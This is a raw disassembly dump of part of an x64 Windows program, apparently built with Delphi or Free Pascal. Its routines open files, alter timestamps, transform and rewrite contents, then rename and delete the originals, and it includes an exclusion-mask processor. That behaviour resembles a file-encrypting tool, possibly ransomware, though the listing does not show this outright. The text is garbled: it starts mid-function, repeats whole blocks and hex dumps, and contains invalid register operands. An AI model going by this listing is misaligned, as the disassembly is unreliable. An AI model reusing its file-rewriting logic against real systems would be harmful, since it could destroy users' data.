0044758elea rcx, [rbp+272]
00447595mov rdx, [rip-0x1877c]
0044759cmov r8l, 1
004475a2mov r9l, 16
004475a8call fn_410430
004475admov rax, [rbp+288]
004475b4test rax, rax
004475b7je 0x4475bd
004475b9mov rax, [rax-8]
004475bd
004475bdloc_4475bd:
004475bdmov rcx, [rbp+288]
004475c4mov edx, eax
004475c6mov r8, [rbp+272]
004475cdcall fn_446e40
004475d2lea rcx, [rbp+272]
004475d9lea rdx, [rbp+288]
004475e0lea r8, [rbp+288]
004475e7call fn_4300b0
004475eclea rcx, [rbp+280]
004475f3mov rdx, [rip-0x187da]
004475facall fn_410600
004475ffmov rax, [rbp+288]
00447606test rax, rax
00447609je 0x44760f
0044760bmov rax, [rax-8]
0044760f
0044760floc_44760f:
0044760flea rcx, [rbp+280]
00447616mov rdx, [rip-0x187fd]
0044761dmov r8l, 1
00447623mov r9, rax
00447626call fn_410430
0044762bmov rax, [rbp+288]
00447632test rax, rax
00447635je 0x44763b
00447637mov rax, [rax-8]
0044763b
0044763bloc_44763b:
0044763blea rcx, [rbp+288]
00447642mov rdx, [rbp+120]
00447646lea r8, [rbp+344]
0044764dlea r9, [rbp+280]
00447654mov [rsp+32], eax
00447658mov rax, [rbp+456]
0044765fmov [rsp+40], rax
00447664call fn_435c80
00447669lea rcx, [rbp+352]
00447670mov rdx, [rbp+128]
00447677lea r8, [rbp+344]
0044767emovzx r9, [rbp+255]
00447686movzx rax, [rbp+254]
0044768emov [rsp+32], al
00447692lea rax, [rbp+280]
00447699mov [rsp+40], rax
0044769ecall fn_441ae0
004476a3mov rbx, [rbp+352]
004476aatest rbx, rbx
004476adje 0x4476b3
004476afmov rbx, [rbx-8]
004476b3
004476b3loc_4476b3:
004476b3lea rcx, [rbp+208]
004476bamov rdx, [rbp+416]
004476c1mov r8, [rbp+424]
004476c8call fn_40d230
004476cdlea rcx, [rbp+376]
004476d4mov rdx, [rbp+368]
004476dbmov r8l, ebx
004476delea r9, [rbp+352]
004476e5mov rax, [rbp+208]
004476ecmov [rsp+32], rax
004476f1call fn_4442e0
004476f6test al, al
004476f8jne 0x44773f
004476falea rcx, [rbp+200]
00447701mov rdx, [rbp+416]
00447708mov r8, [rbp+424]
0044770fcall fn_40d230
00447714lea rcx, [rbp+376]
0044771bmov rdx, [rbp+368]
00447722mov r8, [rbp+200]
00447729call fn_443770
0044772emov rcx, [rbp+376]
00447735call CloseHandle
0044773ajmp 0x44791d
0044773f
0044773floc_44773f:
0044773fmov rcx, [rbp+376]
00447746call CloseHandle
0044774blea rcx, [rbp+376]
00447752mov rdx, [rbp+416]
00447759mov r8, [rbp+424]
00447760xor r9, r9
00447763call fn_444b80
00447768test al, al
0044776aje 0x44791d
00447770mov rcx, [rbp+376]
00447777lea rdx, [rbp+368]
0044777ecall GetFileSizeEx
00447783test eax, eax
00447785jne 0x447798
00447787mov rcx, [rbp+376]
0044778ecall CloseHandle
00447793jmp 0x44791d
00447798
00447798loc_447798:
00447798xor eax, eax
0044779acmp [rbp+368], 16
004477a2jle 0x4477e4
004477a4lea rcx, [rbp+192]
004477abmov rdx, [rbp+416]
004477b2mov r8, [rbp+424]
004477b9call fn_40d230
004477belea rcx, [rbp+376]
004477c5mov rdx, [rbp+368]
004477ccmov r8, [rbp+192]
004477d3lea r9, [rbp+240]
004477damov [rsp+32], 0
004477dfcall fn_444860
004477e4
004477e4loc_4477e4:
004477e4cmp al, 2
004477e7je 0x4477fa
004477e9mov rcx, [rbp+376]
004477f0call CloseHandle
004477f5jmp 0x44791d
004477fa
004477faloc_4477fa:
004477famov rcx, [rbp+376]
00447801call CloseHandle
00447806lea rcx, [rbp+256]
0044780dmov rdx, [rbp+416]
00447814mov r8, [rbp+368]
0044781bmovzx r9, [rbp+255]
00447823mov [rsp+32], 1
00447828call fn_42ef80
0044782dlea rcx, [rbp+176]
00447834mov rdx, [rbp+416]
0044783bmov r8, [rbp+424]
00447842call fn_40d230
00447847lea rcx, [rbp+184]
0044784emov rdx, [rbp+176]
00447855call fn_42f780
0044785amov rcx, [rbp+184]
00447861call fn_40d180
00447866mov rbx, rax
00447869lea rcx, [rbp+160]
00447870mov rdx, [rbp+416]
00447877mov r8, [rbp+256]
0044787ecall fn_40d230
00447883lea rcx, [rbp+168]
0044788amov rdx, [rbp+160]
00447891call fn_42f780
00447896mov rcx, [rbp+168]
0044789dcall fn_40d180
004478a2mov rcx, rbx
004478a5mov rdx, rax
004478a8call MoveFileW
004478adtest eax, eax
004478afje 0x44791d
004478b1lea rcx, [rbp+152]
004478b8mov rdx, [rbp+416]
004478bfmov r8, [rbp+424]
004478c6call fn_40d230
004478cbmov rcx, [rbp+152]
004478d2call fn_42fe80
004478d7test al, al
004478d9je 0x44791c
004478dblea rcx, [rbp+136]
004478e2mov rdx, [rbp+416]
004478e9mov r8, [rbp+424]
004478f0call fn_40d230
004478f5lea rcx, [rbp+144]
004478fcmov rdx, [rbp+136]
00447903call fn_42f780
00447908mov rcx, [rbp+144]
0044790fcall fn_40d180
00447914mov rcx, rax
00447917call DeleteFileW
0044791c
0044791cloc_44791c:
0044791cnop
0044791d
0044791dloc_44791d:
0044791dlea rcx, [rbp+136]
00447924mov edx, 13
00447929call fn_40be70
0044792elea rcx, [rbp+240]
00447935mov rdx, [rip-0x18b1c]
0044793ccall fn_410600
00447941lea rcx, [rbp+256]
00447948call fn_40bd90
0044794dlea rcx, [rbp+264]
00447954call fn_40bd40
00447959lea rcx, [rbp+272]
00447960mov rdx, [rip-0x18b47]
00447967mov r8l, 5
0044796dcall fn_40ec40
00447972lea rcx, [rbp+336]
00447979mov rdx, [rip-0x18b60]
00447980mov r8l, 3
00447986call fn_40ec40
0044798blea rcx, [rbp+416]
00447992mov edx, 2
00447997call fn_40be70
0044799clea rsp, [rbp+392]
004479a3pop rbx
004479a4pop rbp
004479a5ret
004470b0
004470b0fn_4470b0:
004470b0push rbp
004470b1push rbx
004470b2sub rsp, 392
004470b9mov rbp, rsp
004470bcmov [rbp+120], r8
004470c0mov [rbp+128], r9
004470c7mov [rbp+144], 0
004470d2mov [rbp+136], 0
004470ddmov [rbp+152], 0
004470e8mov [rbp+184], 0
004470f3mov [rbp+168], 0
004470femov [rbp+160], 0
00447109mov [rbp+176], 0
00447114mov [rbp+192], 0
0044711fmov [rbp+200], 0
0044712amov [rbp+208], 0
00447135mov [rbp+216], 0
00447140mov [rbp+224], 0
0044714bmov [rbp+232], 0
00447156mov [rbp+352], 0
00447161mov [rbp+344], 0
0044716cmov [rbp+336], 0
00447177mov [rbp+304], 0
00447182mov [rbp+296], 0
0044718dmov [rbp+288], 0
00447198mov [rbp+280], 0
004471a3mov [rbp+272], 0
004471aemov [rbp+264], 0
004471b9mov [rbp+256], 0
004471c4mov [rbp+240], 0
004471cfmov [rbp+416], rcx
004471d6mov [rbp+424], rdx
004471ddlea rcx, [rbp+416]
004471e4call fn_40bf00
004471e9lea rcx, [rbp+424]
004471f0call fn_40bf00
004471f5nop
004471f6lea rcx, [rbp+376]
004471fdmov rdx, [rbp+416]
00447204mov r8, [rbp+424]
0044720bmov r9l, [rbp+448]
00447212call fn_444b80
00447217test al, al
00447219je 0x44791d
0044721fmov rcx, [rbp+376]
00447226lea rdx, [rbp+368]
0044722dcall GetFileSizeEx
00447232test eax, eax
00447234jne 0x447247
00447236mov rcx, [rbp+376]
0044723dcall CloseHandle
00447242jmp 0x44791d
00447247
00447247loc_447247:
00447247cmp [rbp+368], 0
0044724fjne 0x447262
00447251mov rcx, [rbp+376]
00447258call CloseHandle
0044725djmp 0x44791d
00447262
00447262loc_447262:
00447262cmp [rbp+368], 16
0044726ajle 0x4472c1
0044726clea rcx, [rbp+232]
00447273mov rdx, [rbp+416]
0044727amov r8, [rbp+424]
00447281call fn_40d230
00447286lea rcx, [rbp+376]
0044728dmov rdx, [rbp+368]
00447294mov r8, [rbp+232]
0044729blea r9, [rbp+240]
004472a2mov [rsp+32], 0
004472a7call fn_444860
004472actest al, al
004472aeje 0x4472c1
004472b0mov rcx, [rbp+376]
004472b7call CloseHandle
004472bcjmp 0x44791d
004472c1
004472c1loc_4472c1:
004472c1lea rcx, [rbp+264]
004472c8mov rdx, [rbp+424]
004472cfcall fn_414390
004472d4xor eax, eax
004472d6mov rcx, [rbp+264]
004472ddtest rcx, rcx
004472e0je 0x4472e5
004472e2mov eax, [rcx-4]
004472e5
004472e5loc_4472e5:
004472e5mov rcx, [rbp+128]
004472ecmov rcx, [rcx]
004472eftest rcx, rcx
004472f2je 0x4472f8
004472f4mov rcx, [rcx-8]
004472f8
004472f8loc_4472f8:
004472f8mov rdx, [rbp+368]
004472ffmov r8, [rbp+424]
00447306mov r9l, ecx
00447309lea rcx, [rbp+254]
00447310mov [rsp+32], rcx
00447315lea rcx, [rbp+255]
0044731cmov [rsp+40], rcx
00447321lea rcx, [rbp+364]
00447328mov [rsp+48], rcx
0044732dmov rcx, [rip+0x1cc04]
00447334mov [rsp+56], rcx
00447339mov [rsp+64], 0
0044733emov [rsp+72], 0
00447346mov rcx, [rip+0x1cbeb]
0044734dmov [rsp+80], rcx
00447352mov rcx, [rip+0x1ce0f]
00447359mov [rsp+88], rcx
0044735emov [rsp+96], 1
00447363mov rcx, rdx
00447366mov rdx, r8
00447369mov r8l, eax
0044736ccall fn_4431c0
00447371lea rcx, [rbp+352]
00447378mov rdx, [rip-0x1855f]
0044737fcall fn_410600
00447384lea rcx, [rbp+352]
0044738bmov rdx, [rip-0x18572]
00447392mov r8l, 1
00447398mov r9l, [rbp+364]
0044739fcall fn_410430
004473a4mov rax, [rbp+352]
004473abmov [rax+1], 0
004473afmov rax, [rbp+352]
004473b6mov [rax+3], 0
004473bamov rax, [rbp+352]
004473c1mov [rax+5], 0
004473c5mov rax, [rbp+352]
004473ccmov [rax+7], 0
004473d0lea rcx, [rbp+224]
004473d7mov rdx, [rbp+416]
004473demov r8, [rbp+424]
004473e5call fn_40d230
004473ealea rcx, [rbp+376]
004473f1mov rdx, [rbp+368]
004473f8mov r8l, [rbp+364]
004473fflea r9, [rbp+352]
00447406mov rax, [rbp+224]
0044740dmov [rsp+32], rax
00447412call fn_4442e0
00447417test al, al
00447419jne 0x447460
0044741blea rcx, [rbp+216]
00447422mov rdx, [rbp+416]
00447429mov r8, [rbp+424]
00447430call fn_40d230
00447435lea rcx, [rbp+376]
0044743cmov rdx, [rbp+368]
00447443mov r8, [rbp+216]
0044744acall fn_443770
0044744fmov rcx, [rbp+376]
00447456call CloseHandle
0044745bjmp 0x44791d
00447460
00447460loc_447460:
00447460lea rcx, [rbp+344]
00447467lea rdx, [rbp+336]
0044746exor r8, r8
00447471call fn_443910
00447476mov rcx, [rbp+376]
0044747dlea rdx, [rbp+328]
00447484lea r8, [rbp+312]
0044748blea r9, [rbp+320]
00447492call GetFileTime
00447497test eax, eax
00447499jne 0x4474af
0044749bmov [rbp+328], 0
004474a5mov [rbp+332], 0
004474af
004474afloc_4474af:
004474aflea rcx, [rbp+304]
004474b6mov edx, [rbp+328]
004474bccall fn_430990
004474c1lea rcx, [rbp+296]
004474c8mov edx, [rbp+332]
004474cecall fn_430990
004474d3cmp [rbp+328], 0
004474dajne 0x4474e5
004474dccmp [rbp+332], 0
004474e3je 0x44751a
004474e5
004474e5loc_4474e5:
004474e5mov [rbp+328], 1
004474efmov [rbp+332], 0
004474f9mov rcx, [rbp+376]
00447500lea rdx, [rbp+328]
00447507lea r8, [rbp+312]
0044750elea r9, [rbp+320]
00447515call SetFileTime
0044751a
0044751aloc_44751a:
0044751alea rcx, [rbp+304]
00447521lea rdx, [rbp+296]
00447528lea r8, [rbp+288]
0044752fcall fn_4300b0
00447534lea rcx, [rbp+264]
0044753blea rdx, [rip+1294]
00447542mov r8, [rbp+264]
00447549call fn_40ca10
0044754emov rcx, [rbp+264]
00447555lea rdx, [rbp+280]
0044755ccall fn_430db0
00447561lea rcx, [rbp+288]
00447568lea rdx, [rbp+280]
0044756flea r8, [rbp+288]
00447576call fn_4300b0
0044757blea rcx, [rbp+272]
00447582mov rdx, [rip-0x18769]
00447589call fn_410600
0044758elea rcx, [rbp+272]
00447595mov rdx, [rip-0x1877c]
0044759cmov r8l, 1
004475a2mov r9l, 16
004475a8call fn_410430
004475admov rax, [rbp+288]
004475b4test rax, rax
004475b7je 0x4475bd
004475b9mov rax, [rax-8]
004475bd
004475bdloc_4475bd:
004475bdmov rcx, [rbp+288]
004475c4mov edx, eax
004475c6mov r8, [rbp+272]
004475cdcall fn_446e40
004475d2lea rcx, [rbp+272]
004475d9lea rdx, [rbp+288]
004475e0lea r8, [rbp+288]
004475e7call fn_4300b0
004475eclea rcx, [rbp+280]
004475f3mov rdx, [rip-0x187da]
004475facall fn_410600
004475ffmov rax, [rbp+288]
00447606test rax, rax
00447609je 0x44760f
0044760bmov rax, [rax-8]
0044760f
0044760floc_44760f:
0044760flea rcx, [rbp+280]
00447616mov rdx, [rip-0x187fd]
0044761dmov r8l, 1
00447623mov r9, rax
00447626call fn_410430
0044762bmov rax, [rbp+288]
00447632test rax, rax
00447635je 0x44763b
00447637mov rax, [rax-8]
0044763b
0044763bloc_44763b:
0044763blea rcx, [rbp+288]
00447642mov rdx, [rbp+120]
00447646lea r8, [rbp+344]
0044764dlea r9, [rbp+280]
00447654mov [rsp+32], eax
00447658mov rax, [rbp+456]
0044765fmov [rsp+40], rax
00447664call fn_435c80
00447669lea rcx, [rbp+352]
00447670mov rdx, [rbp+128]
00447677lea r8, [rbp+344]
0044767emovzx r9, [rbp+255]
00447686movzx rax, [rbp+254]
0044768emov [rsp+32], al
00447692lea rax, [rbp+280]
00447699mov [rsp+40], rax
0044769ecall fn_441ae0
004476a3mov rbx, [rbp+352]
004476aatest rbx, rbx
004476adje 0x4476b3
004476afmov rbx, [rbx-8]
004476b3
004476b3loc_4476b3:
004476b3lea rcx, [rbp+208]
004476bamov rdx, [rbp+416]
004476c1mov r8, [rbp+424]
004476c8call fn_40d230
004476cdlea rcx, [rbp+376]
004476d4mov rdx, [rbp+368]
004476dbmov r8l, ebx
004476delea r9, [rbp+352]
004476e5mov rax, [rbp+208]
004476ecmov [rsp+32], rax
004476f1call fn_4442e0
004476f6test al, al
004476f8jne 0x44773f
004476falea rcx, [rbp+200]
00447701mov rdx, [rbp+416]
00447708mov r8, [rbp+424]
0044770fcall fn_40d230
00447714lea rcx, [rbp+376]
0044771bmov rdx, [rbp+368]
00447722mov r8, [rbp+200]
00447729call fn_443770
0044772emov rcx, [rbp+376]
00447735call CloseHandle
0044773ajmp 0x44791d
0044773f
0044773floc_44773f:
0044773fmov rcx, [rbp+376]
00447746call CloseHandle
0044774blea rcx, [rbp+376]
00447752mov rdx, [rbp+416]
00447759mov r8, [rbp+424]
00447760xor r9, r9
00447763call fn_444b80
00447768test al, al
0044776aje 0x44791d
00447770mov rcx, [rbp+376]
00447777lea rdx, [rbp+368]
0044777ecall GetFileSizeEx
00447783test eax, eax
00447785jne 0x447798
00447787mov rcx, [rbp+376]
0044778ecall CloseHandle
00447793jmp 0x44791d
00447798
00447798loc_447798:
00447798xor eax, eax
0044779acmp [rbp+368], 16
004477a2jle 0x4477e4
004477a4lea rcx, [rbp+192]
004477abmov rdx, [rbp+416]
004477b2mov r8, [rbp+424]
004477b9call fn_40d230
004477belea rcx, [rbp+376]
004477c5mov rdx, [rbp+368]
004477ccmov r8, [rbp+192]
004477d3lea r9, [rbp+240]
004477damov [rsp+32], 0
004477dfcall fn_444860
004477e4
004477e4loc_4477e4:
004477e4cmp al, 2
004477e7je 0x4477fa
004477e9mov rcx, [rbp+376]
004477f0call CloseHandle
004477f5jmp 0x44791d
004477fa
004477faloc_4477fa:
004477famov rcx, [rbp+376]
00447801call CloseHandle
00447806lea rcx, [rbp+256]
0044780dmov rdx, [rbp+416]
00447814mov r8, [rbp+368]
0044781bmovzx r9, [rbp+255]
00447823mov [rsp+32], 1
00447828call fn_42ef80
0044782dlea rcx, [rbp+176]
00447834mov rdx, [rbp+416]
0044783bmov r8, [rbp+424]
00447842call fn_40d230
00447847lea rcx, [rbp+184]
0044784emov rdx, [rbp+176]
00447855call fn_42f780
0044785amov rcx, [rbp+184]
00447861call fn_40d180
00447866mov rbx, rax
00447869lea rcx, [rbp+160]
00447870mov rdx, [rbp+416]
00447877mov r8, [rbp+256]
0044787ecall fn_40d230
00447883lea rcx, [rbp+168]
0044788amov rdx, [rbp+160]
00447891call fn_42f780
00447896mov rcx, [rbp+168]
0044789dcall fn_40d180
004478a2mov rcx, rbx
004478a5mov rdx, rax
004478a8call MoveFileW
004478adtest eax, eax
004478afje 0x44791d
004478b1lea rcx, [rbp+152]
004478b8mov rdx, [rbp+416]
004478bfmov r8, [rbp+424]
004478c6call fn_40d230
004478cbmov rcx, [rbp+152]
004478d2call fn_42fe80
004478d7test al, al
004478d9je 0x44791c
004478dblea rcx, [rbp+136]
004478e2mov rdx, [rbp+416]
004478e9mov r8, [rbp+424]
004478f0call fn_40d230
004478f5lea rcx, [rbp+144]
004478fcmov rdx, [rbp+136]
00447903call fn_42f780
00447908mov rcx, [rbp+144]
0044790fcall fn_40d180
00447914mov rcx, rax
00447917call DeleteFileW
0044791c
0044791cloc_44791c:
0044791cnop
0044791d
0044791dloc_44791d:
0044791dlea rcx, [rbp+136]
00447924mov edx, 13
00447929call fn_40be70
0044792elea rcx, [rbp+240]
00447935mov rdx, [rip-0x18b1c]
0044793ccall fn_410600
00447941lea rcx, [rbp+256]
00447948call fn_40bd90
0044794dlea rcx, [rbp+264]
00447954call fn_40bd40
00447959lea rcx, [rbp+272]
00447960mov rdx, [rip-0x18b47]
00447967mov r8l, 5
0044796dcall fn_40ec40
00447972lea rcx, [rbp+336]
00447979mov rdx, [rip-0x18b60]
00447980mov r8l, 3
00447986call fn_40ec40
0044798blea rcx, [rbp+416]
00447992mov edx, 2
00447997call fn_40be70
0044799clea rsp, [rbp+392]
004479a3pop rbx
004479a4pop rbp
004479a5ret
004470b0
004479a6
004479a6 48 90 48 8d 04 05 00 00 00 00 H.H.......
004479a6 48 90 48 8d 04 05 00 00 00 00 H.H.......
004479b0
004479b0fn_4479b0:
004479b0push rbp
004479b1push rbx
004479b2sub rsp, 40
004479b6mov rbp, rsp
004479b9mov rbx, rdx
004479bclea rcx, [rbx+136]
004479c3mov edx, 13
004479c8call fn_40be70
004479cdlea rcx, [rbx+240]
004479d4mov rdx, [rip-0x18bbb]
004479dbcall fn_410600
004479e0lea rcx, [rbx+256]
004479e7call fn_40bd90
004479eclea rcx, [rbx+264]
004479f3call fn_40bd40
004479f8lea rcx, [rbx+272]
004479ffmov rdx, [rip-0x18be6]
00447a06mov r8l, 5
00447a0ccall fn_40ec40
00447a11lea rcx, [rbx+336]
00447a18mov rdx, [rip-0x18bff]
00447a1fmov r8l, 3
00447a25call fn_40ec40
00447a2alea rcx, [rbx+416]
00447a31mov edx, 2
00447a36call fn_40be70
00447a3blea rsp, [rbp+40]
00447a3fpop rbx
00447a40pop rbp
00447a41ret
004479b0
004479b0fn_4479b0:
004479b0push rbp
004479b1push rbx
004479b2sub rsp, 40
004479b6mov rbp, rsp
004479b9mov rbx, rdx
004479bclea rcx, [rbx+136]
004479c3mov edx, 13
004479c8call fn_40be70
004479cdlea rcx, [rbx+240]
004479d4mov rdx, [rip-0x18bbb]
004479dbcall fn_410600
004479e0lea rcx, [rbx+256]
004479e7call fn_40bd90
004479eclea rcx, [rbx+264]
004479f3call fn_40bd40
004479f8lea rcx, [rbx+272]
004479ffmov rdx, [rip-0x18be6]
00447a06mov r8l, 5
00447a0ccall fn_40ec40
00447a11lea rcx, [rbx+336]
00447a18mov rdx, [rip-0x18bff]
00447a1fmov r8l, 3
00447a25call fn_40ec40
00447a2alea rcx, [rbx+416]
00447a31mov edx, 2
00447a36call fn_40be70
00447a3blea rsp, [rbp+40]
00447a3fpop rbx
00447a40pop rbp
00447a41ret
004479b0
00447a42
00447a42 00 00 e3 04 01 00 ff ff ff ff 02 00 00 00 ..............
00447a50 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00447a42 00 00 e3 04 01 00 ff ff ff ff 02 00 00 00 ..............
00447a50 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00447a60
00447a60Unit50.finalization:
00447a60add [rip+0x28cf9], 1
00447a67cmp [rip+0x28cf2], 0
00447a6eret
00447a60
00447a60Unit50.finalization:
00447a60add [rip+0x28cf9], 1
00447a67cmp [rip+0x28cf2], 0
00447a6eret
00447a60
00447a6f
00447a6f // align 0x10
00447a6f // align 0x10
00447a70
00447a70Unit50.initialization:
00447a70sub [rip+0x28ce9], 1
00447a77cmp [rip+0x28ce2], -1
00447a7eret
00447a70
00447a70Unit50.initialization:
00447a70sub [rip+0x28ce9], 1
00447a77cmp [rip+0x28ce2], -1
00447a7eret
00447a70
00447a7f
00447a7f // align 0x10
00447a80
00447a80 88 7a 44 00 00 00 00 00 0e 02 3a 31 10 00 00 00 .zD.......:1....
00447a90 01 00 00 00 58 12 40 00 00 00 00 00 08 00 00 00 ....X.@.........
00447aa0 00 00 00 00 00 02 00 00 00 98 10 40 00 00 00 00 ...........@....
00447ab0 00 00 00 00 00 00 00 00 00 02 09 6f 70 65 72 61 ...........opera
00447ac0 74 69 6f 6e 02 00 58 12 40 00 00 00 00 00 08 00 tion..X.@.......
00447ad0 00 00 00 00 00 00 02 06 70 68 72 61 73 65 02 00 ........phrase..
00447ae0 02 00 00 00 00 00 00 00 f0 7a 44 00 00 00 00 00 .........zD.....
00447af0 11 10 54 6d 61 73 6b 5f 6f 70 65 72 61 74 69 6f ..Tmask_operatio
00447b00 6e 73 10 00 00 00 80 7a 44 00 00 00 00 00 ff ff ns.....zD.......
00447b10 ff ff 80 7a 44 00 00 00 00 00 16 45 78 63 6c 75 ...zD......Exclu
00447b20 64 65 64 4d 61 73 6b 73 50 72 6f 63 65 73 73 6f dedMasksProcesso
00447b30 72 80 7a 44 00 00 00 00 00 02 00 00 00 00 00 00 r.zD............
00447b40 48 7b 44 00 00 00 00 00 11 02 3a 32 08 00 00 00 H{D.......:2....
00447b50 e8 7a 44 00 00 00 00 00 ff ff ff ff 80 7a 44 00 .zD..........zD.
00447b60 00 00 00 00 16 45 78 63 6c 75 64 65 64 4d 61 73 .....ExcludedMas
00447b70 6b 73 50 72 6f 63 65 73 73 6f 72 e8 7a 44 00 00 ksProcessor.zD..
00447b80 00 00 00 02 00 cc cc cc cc cc cc cc cc cc cc cc ................
00447a7f // align 0x10
00447a80
00447a80 88 7a 44 00 00 00 00 00 0e 02 3a 31 10 00 00 00 .zD.......:1....
00447a90 01 00 00 00 58 12 40 00 00 00 00 00 08 00 00 00 ....X.@.........
00447aa0 00 00 00 00 00 02 00 00 00 98 10 40 00 00 00 00 ...........@....
00447ab0 00 00 00 00 00 00 00 00 00 02 09 6f 70 65 72 61 ...........opera
00447ac0 74 69 6f 6e 02 00 58 12 40 00 00 00 00 00 08 00 tion..X.@.......
00447ad0 00 00 00 00 00 00 02 06 70 68 72 61 73 65 02 00 ........phrase..
00447ae0 02 00 00 00 00 00 00 00 f0 7a 44 00 00 00 00 00 .........zD.....
00447af0 11 10 54 6d 61 73 6b 5f 6f 70 65 72 61 74 69 6f ..Tmask_operatio
00447b00 6e 73 10 00 00 00 80 7a 44 00 00 00 00 00 ff ff ns.....zD.......
00447b10 ff ff 80 7a 44 00 00 00 00 00 16 45 78 63 6c 75 ...zD......Exclu
00447b20 64 65 64 4d 61 73 6b 73 50 72 6f 63 65 73 73 6f dedMasksProcesso
00447b30 72 80 7a 44 00 00 00 00 00 02 00 00 00 00 00 00 r.zD............
00447b40 48 7b 44 00 00 00 00 00 11 02 3a 32 08 00 00 00 H{D.......:2....
00447b50 e8 7a 44 00 00 00 00 00 ff ff ff ff 80 7a 44 00 .zD..........zD.
00447b60 00 00 00 00 16 45 78 63 6c 75 64 65 64 4d 61 73 .....ExcludedMas
00447b70 6b 73 50 72 6f 63 65 73 73 6f 72 e8 7a 44 00 00 ksProcessor.zD..
00447b80 00 00 00 02 00 cc cc cc cc cc cc cc cc cc cc cc ................
00447b90
00447b90fn_447b90:
00447b90xor eax, eax
00447b92mov rdx, [rcx]
00447b95test rdx, rdx
00447b98je 0x447ba0
00447b9amov eax, [rdx-4]
00447b9dshr eax, 1
00447ba0
00447ba0loc_447ba0:
00447ba0mov edx, 1
00447ba5mov r8l, eax
00447ba8mov eax, edx
00447baacmp eax, r8l
00447badjg 0x447bdc
00447bafsub r8l, edx
00447bb2add r8l, 1
00447bb6
00447bb6loc_447bb6:
00447bb6movsxd rdx, eax
00447bb9mov r9, [rcx]
00447bbccmp [r9+2*rdx-2], 47
00447bc3jne 0x447bd0
00447bc5mov r9, [rcx]
00447bc8mov [r9+2*rdx-2], 92
00447bd0
00447bd0loc_447bd0:
00447bd0add eax, 1
00447bd3sub r8l, 1
00447bd7test r8l, r8l
00447bdajne 0x447bb6
00447bdc
00447bdcloc_447bdc:
00447bdcnop
00447bddret
00447b90
00447b90fn_447b90:
00447b90xor eax, eax
00447b92mov rdx, [rcx]
00447b95test rdx, rdx
00447b98je 0x447ba0
00447b9amov eax, [rdx-4]
00447b9dshr eax, 1
00447ba0
00447ba0loc_447ba0:
00447ba0mov edx, 1
00447ba5mov r8l, eax
00447ba8mov eax, edx
00447baacmp eax, r8l
00447badjg 0x447bdc
00447bafsub r8l, edx
00447bb2add r8l, 1
00447bb6
00447bb6loc_447bb6:
00447bb6movsxd rdx, eax
00447bb9mov r9, [rcx]
00447bbccmp [r9+2*rdx-2], 47
00447bc3jne 0x447bd0
00447bc5mov r9, [rcx]
00447bc8mov [r9+2*rdx-2], 92
00447bd0
00447bd0loc_447bd0:
00447bd0add eax, 1
00447bd3sub r8l, 1
00447bd7test r8l, r8l
00447bdajne 0x447bb6
00447bdc
00447bdcloc_447bdc:
00447bdcnop
00447bddret
00447b90
00447bde
00447bde // align 0x10
00447bde // align 0x10
00447be0
00447be0fn_447be0:
00447be0push rbp
00447be1sub rsp, 160
00447be8mov rbp, rsp
00447bebmov [rbp+48], 0
00447bf3mov [rbp+56], 0
00447bfbmov [rbp+64], 0
00447c03mov [rbp+128], 0
00447c0emov [rbp+112], 0
00447c16mov [rbp+152], 0
00447c21mov [rbp+72], rbp
00447c25mov [rbp+176], rcx
00447c2cnop
00447c2dxor eax, eax
00447c2fmov rcx, [rbp+176]
00447c36mov rcx, [rcx]
00447c39mov ecx, [rcx+16]
00447c3csub ecx, 1
00447c3fmov [rbp+44], ecx
00447c42mov [rbp+148], eax
00447c48mov ecx, [rbp+44]
00447c4bcmp [rbp+148], ecx
00447c51jg 0x447f06
00447c57mov ecx, [rbp+44]
00447c5asub ecx, eax
00447c5cadd ecx, 1
00447c5fmov [rbp+44], ecx
00447c62
00447c62loc_447c62:
00447c62lea rcx, [rbp+64]
00447c66mov rax, [rbp+176]
00447c6dmov rax, [rax]
00447c70mov rax, [rax+8]
00447c74movsxd rdx, [rbp+148]
00447c7bmov rdx, [rax+8*rdx]
00447c7fcall fn_40d850
00447c84lea rcx, [rbp+112]
00447c88mov rdx, [rbp+64]
00447c8ccall fn_4220f0
00447c91lea rcx, [rbp+112]
00447c95call fn_447b90
00447c9amov [rbp+140], 1
00447ca4jmp 0x447ea1
00447ca9
00447ca9loc_447ca9:
00447ca9mov rax, [rbp+112]
00447cadmovsxd rcx, [rbp+140]
00447cb4movzx rax, [rax+2*rcx-2]
00447cbacmp ax, 42
00447cbeje 0x447cca
00447cc0cmp ax, 63
00447cc4jne 0x447e9a
00447cca
00447ccaloc_447cca:
00447ccamov [rbp+96], 0
00447cd1mov rax, [rbp+112]
00447cd5test rax, rax
00447cd8je 0x447ce3
00447cdamov ecx, [rax-4]
00447cddshr ecx, 1
00447ce0mov [rbp+96], ecx
00447ce3
00447ce3loc_447ce3:
00447ce3mov ecx, [rbp+96]
00447ce6add ecx, 1
00447ce9mov [rbp+136], ecx
00447cefmov ecx, [rbp+140]
00447cf5add ecx, 1
00447cf8mov [rbp+92], ecx
00447cfbmov [rbp+88], 0
00447d02test rax, rax
00447d05je 0x447d10
00447d07mov eax, [rax-4]
00447d0ashr eax, 1
00447d0dmov [rbp+88], eax
00447d10
00447d10loc_447d10:
00447d10mov eax, [rbp+92]
00447d13mov ecx, [rbp+88]
00447d16mov [rbp+144], eax
00447d1ccmp [rbp+144], ecx
00447d22jg 0x447d62
00447d24sub ecx, eax
00447d26add ecx, 1
00447d29
00447d29loc_447d29:
00447d29mov rax, [rbp+112]
00447d2dmovsxd rdx, [rbp+144]
00447d34movzx rax, [rax+2*rdx-2]
00447d3acmp ax, 42
00447d3eje 0x447d54
00447d40cmp ax, 63
00447d44je 0x447d54
00447d46mov eax, [rbp+144]
00447d4cmov [rbp+136], eax
00447d52jmp 0x447d62
00447d54
00447d54loc_447d54:
00447d54add [rbp+144], 1
00447d5bsub ecx, 1
00447d5etest ecx, ecx
00447d60jne 0x447d29
00447d62
00447d62loc_447d62:
00447d62nop
00447d63lea rcx, [rbp+128]
00447d6amov rdx, [rbp+112]
00447d6emov r8l, [rbp+140]
00447d75mov r9l, [rbp+136]
00447d7csub r9l, [rbp+140]
00447d83call fn_40d650
00447d88mov [rbp+124], 0
00447d8fmov [rbp+84], 0
00447d96mov rax, [rbp+128]
00447d9dtest rax, rax
00447da0je 0x447dab
00447da2mov eax, [rax-4]
00447da5shr eax, 1
00447da8mov [rbp+84], eax
00447dab
00447dabloc_447dab:
00447dabmov eax, 1
00447db0mov ecx, [rbp+84]
00447db3mov [rbp+144], eax
00447db9cmp [rbp+144], ecx
00447dbfjg 0x447dee
00447dc1sub ecx, eax
00447dc3add ecx, 1
00447dc6
